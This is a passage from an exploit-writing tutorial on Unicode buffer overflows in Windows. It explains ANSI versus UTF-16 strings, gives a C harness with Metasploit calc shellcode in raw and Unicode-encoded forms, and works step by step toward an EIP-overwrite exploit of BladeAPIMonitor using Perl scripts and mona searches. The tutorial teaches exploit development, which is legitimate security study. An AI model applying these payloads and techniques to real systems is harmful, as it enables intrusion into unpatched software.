to some example exploits. If you plan on following along, I recommend you have
the following:

    * A Windows environment \(XP or Win 7 — my demos will be on the latter\)
    * Metasploit, Alpha2 or Alpha 3 encoder
    * An assembler/disassembler \(e.g. nasm/ndisasm\)
    * Dumpbin Utility
    * Immunity Debugger with the Mona plugin
    * A scripting language \(I’ll use Perl for these demos\).

While I’m going to cover several topics and provide multiple examples, it’s
always beneficial to have other reference material when learning a new topic;
here are some that I recommend:

    * Windows via C/C++: A great all-around reference for Windows programming, the first chapters of this book cover working with strings in the Windows environment.
    * Use of Unicode and Character Sets in Windows : MSDN reference on ANSI and Unicode
    * Corelan Team: Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
    * FuzzySecurity: Part 5: Unicode 0x00410041
    * Practical Win32 and Unicode Exploitation
    * Creating Arbitrary Shellcode In Unicode Expanded Strings
    * Phrack: Building IA32 ‘Unicode-Proof’ Shellcodes

I also recommend you check out some of my prior tutorials to ensure you have a
solid understanding of exploit basics \(registers, the stack, memory layout,
etc\), how buffer overflow attacks work, SEH-based exploits and jumping
techniques.

This post is pretty long so here are some quick links to help you navigate:

    * What is ANSI?
    * What is Unicode?
    * A Closer Look and Unicode vs. ANSI strings
    * How Does Unicode Affect our Exploits?
    * Example 1: Basic Unicode BOF
    * Example 2: SEH Unicode BOF
    * Avoiding Unicode
    * Conclusion

### What is ANSI?

Year ago, Windows introduced “code pages” to accomplish string encoding by
mapping ASCII and international language character sets to specific code
values \(e.g., A=41, B=42, etc\) and storing them in individual pages. Many
character sets, including ASCII, are considered single-byte character sets
because each character/letter can be represented by a single byte. Other, more
complex languages such as Japanese and Chinese, require double-byte encoding
where some letters must be represented by two bytes. Each Windows installation
is assigned a default code page corresponding to the the default language
configured on the system. Depending on your default language, you may be using
a different code page than I do. The most common code page \(and the one I am
using\) is Code Page 1251 \(Windows Latin I\). This and other code pages were
supposedly originally developed based on draft ANSI encoding standards and so
they came to be known as “ANSI Code Pages”. Although these standards were
never officially released by ANSI and the name “ANSI Code Page” was considered
a misnomer, text that is encoded using code pages is still referred to as
“ANSI” in current Microsoft parlance. In fact, you will see multiple Windows
string functions appended with an “A” or “W”, which correspond to ANSI
functions and Wide \(or Unicode\) functions. ANSI functions manipulate strings
encoded by a code page, whereas Wide functions work with Unicode strings. In
the Windows environment, when you think of a typical, null-terminated, single-
byte ASCII string, you should think ANSI. These strings are also referred to
as “multibyte” strings. I will typically refer to non-Unicode strings as
either ANSI or multibyte strings in this post.

The problem with code pages is that it’s not a very elegant or uniform way of
managing character encoding and so a better standard was developed called
Unicode.

### What is Unicode?

The Unicode standard, originally founded by Apple and Xerox in 1988 and
further developed by a larger consortium starting the early 90s, was developed
to better accommodate languages with large character sets \(Japanese,
Cyrillic, Arabic, etc\) that could not be represented by the limited symbols
available in the traditional single-byte character set.1

There are several Unicode Transformation Format \(UTF\) standards, such as
UTF-8 and UTF-32, but when we’re talking about Windows, the standard in use is
UTF-16. With UTF-16 each character is encoded as 2 bytes \(16 bits\). Because
it consistently uses two bytes, it can represent all of the various
international characters in a more standardized and ultimately, more efficient
manner than trying to manage individual single- and multi-byte code pages.
Note: there are also surrogate and supplementary characters that use more than
16 bits, but we won’t cover that in this post. Feel free to read up on them
here.

The UTF-16 standard is organized by character set. For example, bytes
0000-007F represent the standard ASCII character set, 0080-00FF represent
Latin1 characters, 0100-017F represent European Latin, etc. \(through 097F\).

The reason Unicode encoding is such an important topic as it relates to
Windows exploit building is because Windows \(since NT\) represents all of its
internal kernel/OS/API strings in Unicode. Further, many modern applications
are moving away from the standard ANSI character sets and towards the
Microsoft-recommended Unicode encoding. You’re also likely to run into Unicode
if you frequently test internationally-developed applications.

When strings are declared in a Windows application they are either be
represented in multibyte/ANSI \(A\) or Unicode \(W — aka Wide\) and the
Windows API contains functions that have both an “A” and “W” version. The “A”
versions utilize the system’s currently active code page whereas the “W”
versions use the Unicode standard.

I sometimes see confusion surrounding the terms ANSI, ASCII, and Unicode. Many
texts and debuggers label a string as either “ASCII” or “Unicode”. Not to
mention, “ANSI encoding” is technically a misnomer introduced and perpetuated
by Microsoft and the Unicode standard includes more than just UTF-16.
Regardless of what is technically correct, this series is focused on Windows-
exploits so we must use the Microsoft frame of reference. Therefore, it may
help to remember the following points:

  * First and foremost, in Microsoft-speak, you’re typically either working with an ANSI \(multi-byte\) string or with a Unicode \(UTF-16/wide\) string.
  * Both ANSI and Unicode can represent the ASCII character set just as they can both represent international languages — they just do it in a different manner. ANSI uses code pages made up of a mix of single- and multi-byte characters whereas Unicode uses a standardized 2-byte encoding. In other words, ASCII can be ANSI-encoded or it can be Unicode-encoded. That being said…
  * If you hear or read a reference to an “ASCII” string \(vs. a Unicode string\), it is likely referencing a typical “ANSI” encoded string represented by single-byte ASCII characters.

1 Reference: Windows via C/C++ \(5th Edition\) \(Developer Reference\)
Nasarre, Christophe; Richter, Jeffrey

### A closer look at Unicode vs. ANSI strings

Quite often, the strings we enter as input to an application are internally
represented as \(or converted to\) Unicode \(aka “Wide”\) strings. While this
may be transparent to the standard application user, it means our input is
converted from its single-byte, code-page representation to a two-byte Unicode
value.

Let’s use the following code example to see how ANSI \(multibyte\) and Unicode
\(wide\) strings are represented in memory.

\#include <windows.h> \#include <stdio.h> // this example will simply take a
typical, null terminated multibyte string \(which utilizes ANSI code pages\)
// and convert it to a Wide \(Unicode\) string; // adapted from Windows via
C/C++ \(5th Edition\) \(Developer Reference\) Nasarre, Christophe; Richter,
Jeffrey int main \(\)\{ PWSTR pStrW; int nLenStrW; UINT nCcp = GetACP\(\); //
get current code page const char \*pStrA = "AAAAAAAAAAAAAAAAAA"; // Declare a
Multibyte/"ANSI" string // First we call MultiByteToWideChar\(\) to get the
required // size of the buffer that will hold our wide string nLenStrW =
MultiByteToWideChar\( nCcp, // current code page 0, // flags pStrA, //
multibyte/"ANSI" string to convert -1, // multibyte string len \(-1 = null
terminated string\) NULL, // pointer to wide char string 0\); // 0 = return
required buffer size // Next we allocate the required space and return a
pointer to our new memory locatin pStrW = \(PWSTR\)
HeapAlloc\(GetProcessHeap\(\), 0, nLenStrW \* sizeof\(wchar\_t\)\); // Finally
we call MultiByteToWideChar\(\) again to convert our string // Note: this time
we provide values for the pointer to and length of our wide string
MultiByteToWideChar\(nCcp, 0, pStrA, -1, pStrW, nLenStrW\); \}

123456789101112131415161718192021222324252627282930 | \#include <windows.h>\#include <stdio.h> // this example will simply take a typical, null terminated multibyte string \(which utilizes ANSI code pages\)// and convert it to a Wide \(Unicode\) string; // adapted from Windows via C/C++ \(5th Edition\) \(Developer Reference\) Nasarre, Christophe; Richter, Jeffrey int main \(\)\{ PWSTR pStrW; int nLenStrW; UINT nCcp = GetACP\(\); // get current code page const char \*pStrA = "AAAAAAAAAAAAAAAAAA"; // Declare a Multibyte/"ANSI" string // First we call MultiByteToWideChar\(\) to get the required // size of the buffer that will hold our wide string nLenStrW = MultiByteToWideChar\( nCcp, // current code page 0, // flags pStrA, // multibyte/"ANSI" string to convert -1, // multibyte string len \(-1 = null terminated string\) NULL, // pointer to wide char string 0\); // 0 = return required buffer size // Next we allocate the required space and return a pointer to our new memory locatin pStrW = \(PWSTR\) HeapAlloc\(GetProcessHeap\(\), 0, nLenStrW \* sizeof\(wchar\_t\)\); // Finally we call MultiByteToWideChar\(\) again to convert our string // Note: this time we provide values for the pointer to and length of our wide string  MultiByteToWideChar\(nCcp, 0, pStrA, -1, pStrW, nLenStrW\);\}  
---|---  
You can compile it and run it with your debugger, pausing it on the first
executable instruction.

<img src='img/Temp2_9755.png' width='509' height='370' alt='win_exploit_7_17'
/>

The various function calls should be evident. Pay particular attention to
pStrA, a pointer to a typical, null-terminated multibyte/ANSI string as it’s
stored in memory \(see above screenshot\). Note all of the ASCII A’s are
stored as consecutive single bytes \(0x41\).

The next several function calls serve to convert that ANSI string to a Wide
\(Unicode\) string. The first function call to GetACP retrieves the number of
the current code page.

<img src='img/Temp2_9744.png' width='590' height='28' alt='win_exploit_7_18'
/>Next, is a call to MultiByteToWideChar which is the Windows function that
converts an ANSI string to a Unicode string.

<img src='img/Temp2_9753.png' width='587' height='77' alt='win_exploit_7_18'
/>

However, this first call doesn’t actually convert anything. Instead, \(we pass
null for WideCharBuf and 0 for WideBufSize\) it returns the length of the
resulting wide string which is then passed to HeapAlloc so we can reserve the
necessary memory. As you can see below, the HeapSize is 38, or twice the
length of our ANSI string. This accounts for the two-byte Unicode encoding.

<img src='img/Temp2_9738.png' width='553' height='47' alt='win_exploit_7_19'
/>

Now that we have the necessary memory reserved, the second call to
MultiByteToWideChar will actually make the Unicode conversion. You can see
below that we now pass the location of our memory allocation and our buffer
size.

<img src='img/Temp2_9759.png' width='640' height='71' alt='win_exploit_7_20'
/>

Here’s the result:

<img src='img/Temp2_9752.png' width='640' height='39' alt='win_exploit_7_21'
/>

On the right side of the above screenshot, you can see the resulting Wide
string on top of the stack, prefaced by “UNICODE“. On the left you can see
this same string as it’s stored in memory in its two-byte encoding. Because
this string is comprised of ASCII characters that fall within the 0x00-0x7F
byte range, they don’t need to use both bytes of the Unicode representation,
so each character byte is followed by a null byte \(0x00\). This automatic
padding of nulls certainly can’t be good for exploit code…

### How does Unicode affect our exploits?

In the traditional buffer overflows we’ve examined so far, the exploit buffer
and shellcode you provide as input to the vulnerable application is parsed as
an ANSI string \(at least to the point of the overflow\) and your original
exploit code is preserved. Now imagine what would happen if your shellcode is
converted to a Unicode string and padded with alternating null bytes. It
wouldn’t execute the instructions as originally intended. As a simple example,
lets say you had the following shellcode: \x41\x42\x43

This translates to the following Assembly instructions:

00000000 41 inc ecx 00000001 42 inc edx 00000002 43 inc ebx

123 | 00000000 41 inc ecx00000001 42 inc edx00000002 43 inc ebx  
---|---  
If that shellcode were to be translated to Unicode at the time of the
overflow, it would look as follows: \x41\x00\x42\x00\x43\x00.

This translates to the following Assembly:

00000000 41 inc ecx 00000001 004200 add \[edx+0x0\],al 00000004 43 inc ebx
00000005 00 db 0x00

1234 | 00000000 41 inc ecx00000001 004200 add \[edx+0x0\],al00000004 43 inc ebx00000005 00 db 0x00  
---|---  
Not exactly the same instructions we had intended, which will probably lead to
an unsuccessful exploit.

As a more thorough illustration, I’ve provided the following simple C program
that will take one of three command line arguments:

  * ‘A’ to execute standard ANSI-based shellcode like a traditional buffer overflow exploit,
  * ‘W’ to execute encoded shellcode to represent a successful Wide/Unicode-based exploit
  * ‘F’ \(for Fail\) to show what happens when you try to execute ANSI shellcode in a Unicode exploit.

\#include <windows.h> \#include <stdio.h> // calc.exe shellcode generated with Metasploit // msfpayload windows/exec cmd=calc R | msfencode -e generic/none -b 0x00 char ShellA\[\]= "\xdb\xc4\xbb\x80\x2e\x3f\x3a\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x32\x83\xee\xfc\x31\x5e\x13\x03\xde\x3d\xdd\xcf\x22" "\xa9\xa8\x30\xda\x2a\xcb\xb9\x3f\x1b\xd9\xde\x34\x0e\xed\x95\x18\xa3\x86\xf8\x88\x30\xea\xd4\xbf\xf1\x41\x03\x8e" "\x02\x64\x8b\x5c\xc0\xe6\x77\x9e\x15\xc9\x46\x51\x68\x08\x8e\x8f\x83\x58\x47\xc4\x36\x4d\xec\x98\x8a\x6c\x22\x97" "\xb3\x16\x47\x67\x47\xad\x46\xb7\xf8\xba\x01\x2f\x72\xe4\xb1\x4e\x57\xf6\x8e\x19\xdc\xcd\x65\x98\x34\x1c\x85\xab" "\x78\xf3\xb8\x04\x75\x0d\xfc\xa2\x66\x78\xf6\xd1\x1b\x7b\xcd\xa8\xc7\x0e\xd0\x0a\x83\xa9\x30\xab\x40\x2f\xb2\xa7" "\x2d\x3b\x9c\xab\xb0\xe8\x96\xd7\x39\x0f\x79\x5e\x79\x34\x5d\x3b\xd9\x55\xc4\xe1\x8c\x6a\x16\x4d\x70\xcf\x5c\x7f" "\x65\x69\x3f\x15\x78\xfb\x45\x50\x7a\x03\x46\xf2\x13\x32\xcd\x9d\x64\xcb\x04\xda\x9b\x81\x05\x4a\x34\x4c\xdc\xcf" "\x59\x6f\x0a\x13\x64\xec\xbf\xeb\x93\xec\xb5\xee\xd8\xaa\x26\x82\x71\x5f\x49\x31\x71\x4a\x2a\xd4\xe1\x16\xad"; // calc.exe shellcode generated with Metasploit // msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_upper BufferRegister=EAX char ShellW\[\] = "PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBA" "BABABAB30APB944JBKLYX3YKPKPKPC0599UNQXRS4TKR2P0DK1BLLTKPRLTTKRRMXLOFWPJMV01KOP1Y06LOLS1CLLBNLO091HOLMM197ZBL0R2P" "WDKR2LPTKOROLM1HPDKOPBXCU90RTOZM1J00P4KPHN84K28O0M1J39SOLPITKNTDKKQXV01KO017PFLWQHOLMKQI7P8IPD5KDLC3MJXOK3MMT45Y" "RPXTK28O4KQXSRF4KLLPKDKB8MLM1HS4KM4DKM1Z0U914O4MT1KQK1Q1IQJR1KOK01H1OPZDKMBZKDF1MQZM1DMDE7IKPKPM0PPQXNQ4KRO4GKO8" "U7KJP6UFBPVS8W6F57MUMKOIEOLLFCLLJE0KKYPSEKU7K0GN3422O1ZKPQCKOHU1SQQBLBCKPAA"; void fExecShellA \(char\* pShellin\) \{ int \(\*ret\)\(\) = \(int\(\*\)\(\)\)ShellA; ret\(\); \} void fExecShellW \(char\* pShellin\) \{ PWSTR pShellW; int nLenShellW; UINT nCcp = GetACP\(\); // get current code page nLenShellW = MultiByteToWideChar\(nCcp, 0, pShellin, -1, NULL, 0\); pShellW = \(PWSTR\) HeapAlloc\(GetProcessHeap\(\), 0, nLenShellW \* sizeof\(wchar\_t\)\); MultiByteToWideChar\(nCcp, 0, pShellin, -1, pShellW, nLenShellW\); \_\_asm \{ // mov alpha shellcode to EAX register for decoding mov eax, pShellW; call eax; \} \} int main \(int argc, char \*argv\[\]\)\{ if\(argc \!= 2\) \{ printf\("Please supply the arg \(A = ANSI, W = Wide, F = Fail\)\n"\); return 0; \} if \(strcmp\("A", argv\[1\]\) == 0\) \{ fExecShellA\(ShellA\); \} else if \(strcmp\("W", argv\[1\]\) == 0\)\{ fExecShellW\(ShellW\); \} else if \(strcmp\("F", argv\[1\]\) == 0\)\{ // will try and execute the ANSI shellcode in Unicode and crash fExecShellW\(ShellA\); \} return 0; \}
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465 | \#include <windows.h>\#include <stdio.h> // calc.exe shellcode generated with Metasploit // msfpayload windows/exec cmd=calc R | msfencode -e generic/none -b 0x00char ShellA\[\]="\xdb\xc4\xbb\x80\x2e\x3f\x3a\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x32\x83\xee\xfc\x31\x5e\x13\x03\xde\x3d\xdd\xcf\x22" "\xa9\xa8\x30\xda\x2a\xcb\xb9\x3f\x1b\xd9\xde\x34\x0e\xed\x95\x18\xa3\x86\xf8\x88\x30\xea\xd4\xbf\xf1\x41\x03\x8e" "\x02\x64\x8b\x5c\xc0\xe6\x77\x9e\x15\xc9\x46\x51\x68\x08\x8e\x8f\x83\x58\x47\xc4\x36\x4d\xec\x98\x8a\x6c\x22\x97" "\xb3\x16\x47\x67\x47\xad\x46\xb7\xf8\xba\x01\x2f\x72\xe4\xb1\x4e\x57\xf6\x8e\x19\xdc\xcd\x65\x98\x34\x1c\x85\xab" "\x78\xf3\xb8\x04\x75\x0d\xfc\xa2\x66\x78\xf6\xd1\x1b\x7b\xcd\xa8\xc7\x0e\xd0\x0a\x83\xa9\x30\xab\x40\x2f\xb2\xa7" "\x2d\x3b\x9c\xab\xb0\xe8\x96\xd7\x39\x0f\x79\x5e\x79\x34\x5d\x3b\xd9\x55\xc4\xe1\x8c\x6a\x16\x4d\x70\xcf\x5c\x7f" "\x65\x69\x3f\x15\x78\xfb\x45\x50\x7a\x03\x46\xf2\x13\x32\xcd\x9d\x64\xcb\x04\xda\x9b\x81\x05\x4a\x34\x4c\xdc\xcf" "\x59\x6f\x0a\x13\x64\xec\xbf\xeb\x93\xec\xb5\xee\xd8\xaa\x26\x82\x71\x5f\x49\x31\x71\x4a\x2a\xd4\xe1\x16\xad"; // calc.exe shellcode generated with Metasploit // msfpayload windows/exec cmd=calc R | msfencode -e x86/unicode\_upper BufferRegister=EAXchar ShellW\[\] ="PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBA""BABABAB30APB944JBKLYX3YKPKPKPC0599UNQXRS4TKR2P0DK1BLLTKPRLTTKRRMXLOFWPJMV01KOP1Y06LOLS1CLLBNLO091HOLMM197ZBL0R2P""WDKR2LPTKOROLM1HPDKOPBXCU90RTOZM1J00P4KPHN84K28O0M1J39SOLPITKNTDKKQXV01KO017PFLWQHOLMKQI7P8IPD5KDLC3MJXOK3MMT45Y""RPXTK28O4KQXSRF4KLLPKDKB8MLM1HS4KM4DKM1Z0U914O4MT1KQK1Q1IQJR1KOK01H1OPZDKMBZKDF1MQZM1DMDE7IKPKPM0PPQXNQ4KRO4GKO8""U7KJP6UFBPVS8W6F57MUMKOIEOLLFCLLJE0KKYPSEKU7K0GN3422O1ZKPQCKOHU1SQQBLBCKPAA"; void fExecShellA \(char\* pShellin\) \{ int \(\*ret\)\(\) = \(int\(\*\)\(\)\)ShellA; ret\(\); \} void fExecShellW \(char\* pShellin\) \{ PWSTR pShellW; int nLenShellW; UINT nCcp = GetACP\(\); // get current code page nLenShellW = MultiByteToWideChar\(nCcp, 0, pShellin, -1, NULL, 0\); pShellW = \(PWSTR\) HeapAlloc\(GetProcessHeap\(\), 0, nLenShellW \* sizeof\(wchar\_t\)\); MultiByteToWideChar\(nCcp, 0, pShellin, -1, pShellW, nLenShellW\); \_\_asm \{ // mov alpha shellcode to EAX register for decoding mov eax, pShellW; call eax; \} \} int main \(int argc, char \*argv\[\]\)\{ if\(argc \!= 2\) \{ printf\("Please supply the arg \(A = ANSI, W = Wide, F = Fail\)\n"\); return 0; \} if \(strcmp\("A", argv\[1\]\) == 0\) \{ fExecShellA\(ShellA\); \} else if \(strcmp\("W", argv\[1\]\) == 0\)\{ fExecShellW\(ShellW\); \} else if \(strcmp\("F", argv\[1\]\) == 0\)\{ // will try and execute the ANSI shellcode in Unicode and crash  fExecShellW\(ShellA\); \} return 0;\}  
---|---  
Here’s a look at passing arg -A \(successful standard overflow, left\) and arg
-F \(unsuccessful ANSI exploit buffer in a Unicode exploit, right\).

<img src='img/Temp2_9760.png' width='640' height='220' alt='win_exploit_7_24'
/>

The window above right illustrates how trying to pass ANSI shellcode to a
Unicode exploit will mangle the instructions and as you might imagine, the
exploit will fail. Again, this is because the Unicode conversion injected null
bytes that completely changed the original instructions \(as they appear in
left window\). The corresponding results for both are below \(with the
unsuccessful attempt to pass ANSI shellcode to a Unicode exploit on the
right\).

<img src='img/Temp2_9727.png' width='640' height='248' alt='win_exploit_7_25'
/>

So how about when you pass the ‘W’ parameter to the above program? Well in
that case, the shellcode that’s passed to the Unicode “exploit” \(shellW\) has
been specially encoded to account for the automatic insertion of null bytes.
It can decode itself, remove the null bytes, and execute as originally
intended. To do that, I used Metasploit’s alphanumeric uppercase unicode
encoder to encode the shellcode payload specifically for a unicode exploit. In
the next real world example exploit we’re going to build, I’ll show you
another tool called alpha2 that does the same thing. The thing to keep in mind
for both tools is that they produce an encoded version of the original
shellcode. In order for it to decode in memory, they must prepend a decoding
routine to the shellcode. This means your shellcode is going to be
considerably larger to make room for the extra bytes added by the encoding as
well as the addition of the decoding routine. Another thing to note is that
these decoding routines need a designated register \(i.e. “baseaddress” or
“bufferregister”\) to use as a reference point when decoding. You define this
register at the time of encoding and you write additional instructions in your
exploit buffer to adjust the address of that register to point to the
beginning of your shellcode.

If this doesn’t make sense yet, don’t worry…we’ll build a couple of real-world
exploits in the next two examples that should make it much clearer.

### Example 1: Basic Unicode BOF

When I started looking for vulnerable programs to use as examples for this
tutorial, I realized that only one of the Unicode-based exploits I’ve
published to Exploit-DB has the application available for download and it was
an SEH-based exploit. I wanted to start with a non-SEH unicode BOF and I came
across this one: http://www.exploit-db.com/exploits/18349/.

Depending on your experience, this posted exploit code may look complex but
have no fear…we’re going to develop a bit simpler POC version that
accomplishes the same thing and illustrates the basics of Unicode exploits.

First, download the vulnerable application from the above Exploit-DB link and
install it. We’re going to build our exploit to work on either Windows 7 SP 1
\(which is what I’m using for this example\) or Windows XP SP 3 so feel free
to use either. You can use other versions of XP, but you will have to make
some adjustments to the shellcode \(I’ll tell you where\).

Once installed, launch the application and attach Immunity Debugger. The
vulnerable function is the registration code entry \(“Entery SN”\):

<img src='img/Temp2_9735.png' width='338' height='343' alt='win_exploit_7_1'
/>We’ll build our test exploit buffer by simply printing a string of 5000
characters to a text file and copying/pasting it in the registration field
\(buffer = “\xcc” x 5000\). I prefer to use something like a interrupt
\(\xcc\) vs. all A’s \(\x41\) because in a Unicode exploit, the A’s could get
translated to 00410041 which, depending on the executable/dll’s base address,
may be a valid address. \[INT instructions can also be translated to a valid
address as you’ll see later so you may have to review the addresses of all
loaded modules and choose and alternate character\]. Should this happen, the
application would still crash but the registers and stack may not reflect the
true initial crash state.

Here’s what our Registers \(including EIP\) and memory dump look like with our
string of 5000 \xcc \(note: your addresses may vary from mine\):

<img src='img/Temp2_9734.png' width='540' height='715' alt='win_exploit_7_3'
/>

As you can see we have over 500 bytes of usable shellcode, but it seems to be
broken up by some mangled/bad characters. We’re not quite sure yet exactly
where our EIP overwrite falls within the buffer but we do see that EBX points
close to the middle of the exploit code — this will help us later.

Because we’re building this first exploit as a standard BOF, let’s ignore any
SEH overwrite. Our next step is to determine our offset to EIP. You can use
the metasploit pattern generator provided in the Immunity Mona plugin.
Generate a 5000 character pattern, copy it from the pattern.txt file, paste it
in the vulnerable SN registration field, and trigger the overflow.

<img src='img/Temp2_9741.png' width='640' height='306' alt='win_exploit_7_4'
/>

Remember my earlier point that the Unicode nulls in the EIP overwrite can
cause it to inadvertently translate to a valid address…you can see that
happens here with our EIP value of 0x00410036. Although this is where we’ve
stopped \(due to an exception\), it’s not exactly the point at which the
overflow was triggered. In fact, several instructions have executed and if we
try and calculate our offset from this value in EIP, it will be wrong.

In this case, you can find the offset by trial and error or you can start at a
higher offset in the metasploit pattern that won’t translate to a valid
address when it overwrites EIP. I chose the latter, starting at character 2000
\(just copy and paste the pattern starting at character 2000 through character
5000\). This time our EIP overwrite does not translate to a valid address and
we get an overwrite of 00330079.

<img src='img/Temp2_9731.png' width='640' height='452' alt='win_exploit_7_5'
/>

The pattern offset function tells us our offset is at 2288, and since we
started at character 2000 in our metasploit pattern, this translates to 288.

<img src='img/Temp2_9723.png' width='555' height='30' alt='win_exploit_7_6' />

We need to take into account the fact that we started at character 0 \(2000\)
and for the unicode null byte between 33 and 79 so we really have an offset of
290. This matches the offset in the original exploit posted to Exploit-DB, but
let’s verify anyway. We’ll start building our exploit buffer with our offset
of 290, a test EIP overwrite of \xcc, and some filler to even out our buffer.

\#\!/usr/bin/perl my $junk = "A" x 290; my $eip = "\xcc" x 2; my $sploit =
$junk.$eip; my $fill = "B" x \(2000 - length\($sploit\)\); my $buffer =
$sploit.$fill; \# write the exploit buffer to file my $file = "bladeapi.txt";
open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file
\[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) .
"\n";

1234567891011121314 | \#\!/usr/bin/perlmy $junk = "A" x 290;my $eip = "\xcc" x 2;my $sploit = $junk.$eip;my $fill = "B" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Copying and pasting the resulting buffer and triggering the exploit gives us
the following:

<img src='img/Temp2_9729.png' width='565' height='500' alt='win_exploit_7_7'
/>

We’ve confirmed our EIP offset and can see it’s position is fairly centered in
our exploit buffer. We know we have 290 bytes preceding EIP, but these don’t
all appear to be usable as there are some random characters injected at the
very end \(leaving us with about 280 usable bytes\).

<img src='img/Temp2_9730.png' width='553' height='77' alt='win_exploit_7_8' />

We only have about 260 usable bytes _after_ EIP which is where our initial
exploit code will have to reside \(to adjust our registers and jump to our
shellcode\) and no other copies of our buffer reside elsewhere in memory,
which means we’ll either have to split our shellcode between the two spaces or
keep it under ~280 bytes. Because splitting the shellcode would add additional
instructions \(for the extra jump\) and both portions would have to be unicode
formatted or encoded \(which also consumes available bytes\), I’m going to
choose keep our shellcode under 280 bytes and place it all in our buffer
_before_ the EIP overwrite. This means our buffer will look something like
this:

<img src='img/Temp2_9740.png' width='640' height='128' alt='win_exploit_7_26'
/>

We’ll get to the shellcode and register adjustments shortly, but just like any
traditional buffer overflow, we first we need to to figure out a way to use
our EIP overwrite to direct execution flow to a predictable location in our
buffer. We’ve already established that EBX points to a location somewhere in
our buffer so a jump or call EBX instruction should do the trick. Of course,
this can’t be just any jump or call instruction … it has to be a Unicode
friendly address\! In other words, it must contain two null bytes \(or another
unicode friendly two-byte combination\).

We’ll use the Immunity mona plugin to find all CALL/JMP EBX instructions
\(\!mona jmp -r ebx\). Check the resulting output file for any that are
unicode-friendly. We’re in luck, because we have three different options.

c:\Program Files\Immunity Inc\Immunity Debugger>type jmp.txt | find /i "unicode," 0x0043003e : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\) 0x0043005f : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\) 0x0043007d : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\) c:\Program Files\Immunity Inc\Immunity Debugger>
123456 | c:\Program Files\Immunity Inc\Immunity Debugger>type jmp.txt | find /i "unicode,"0x0043003e : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\)0x0043005f : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\)0x0043007d : call ebx | startnull,unicode,asciiprint,ascii \{PAGE\_EXECUTE\_WRITECOPY\} \[BladeAPIMonitor.exe\] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 \(C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe\) c:\Program Files\Immunity Inc\Immunity Debugger>  
---|---  
As a side note, addresses with two null bytes are technically not the only
Unicode-friendly addresses. Certain characters in the extended ASCII set
\(0x80 and above\) translate to two-byte Unicode that does not include a null.
For example, \x85 translates to \x20\x26 in Unicode. That means 0x00432620
could also be a valid Unicode address \(0x00432620 = \x20\x26\x43\x00 which
translates to the following as your EIP overwrite: \x85\x43\). This Blackhat
presentation is a frequently-referenced source for those non-null Unicode
transformations: http://www.blackhat.com/presentations/win-usa-04/bh-
win-04-fx.pdf. Also note that mona returned more results than what I showed
above \(the rest were filtered out by my find command\).

Back to our exploit, we’ll use the first address returned by mona
\(0x0043003e\), which is the same address used in the exploit posted to
Exploit-DB. Let’s test this CALL EBX instruction by updating our Perl exploit
script \(note I’ve switched the “B”s to “\xcc” to trigger an INT instruction
so we can see where we land\). Be sure to omit the null bytes from your
address since the Unicode conversion will take care of that for us.

\#\!/usr/bin/perl my $junk = "A" x 290; my $eip = "\x3e\x43"; my $sploit =
$junk.$eip; my $fill = "\xcc" x \(2000 - length\($sploit\)\); my $buffer =
$sploit.$fill; \# write the exploit buffer to file my $file = "bladeapi.txt";
open\(FILE, ">$file"\); print FILE $buffer; close\(FILE\); print "Exploit file
\[" . $file . "\] created\n"; print "Buffer size: " . length\($buffer\) .
"\n";

1234567891011121314 | \#\!/usr/bin/perlmy $junk = "A" x 290;my $eip = "\x3e\x43";my $sploit = $junk.$eip;my $fill = "\xcc" x \(2000 - length\($sploit\)\);my $buffer = $sploit.$fill; \# write the exploit buffer to filemy $file = "bladeapi.txt";open\(FILE, ">$file"\);print FILE $buffer;close\(FILE\);print "Exploit file \[" . $file . "\] created\n";print "Buffer size: " . length\($buffer\) . "\n";  
---|---  
Generate and enter the new buffer as the BladeAPIMonitor Registration code…

<img src='img/Temp2_9761.png' width='640' height='465' alt='win_exploit_7_11'
/>

Perfect, we’ve confirmed our CALL EBX instruction works and gets us to a
predictable location in our shellcode. From the above image, you can see that
there are some \xcc instructions that immediately precede the address pointed
to by EBX. Counting backwards, you’ll find that there are exactly 20. That
means after we take the the CALL EBX instruction we land in our buffer 20
bytes past our EIP overwrite. Let’s update our exploit code by adding a $junk2
parameter to account for this.

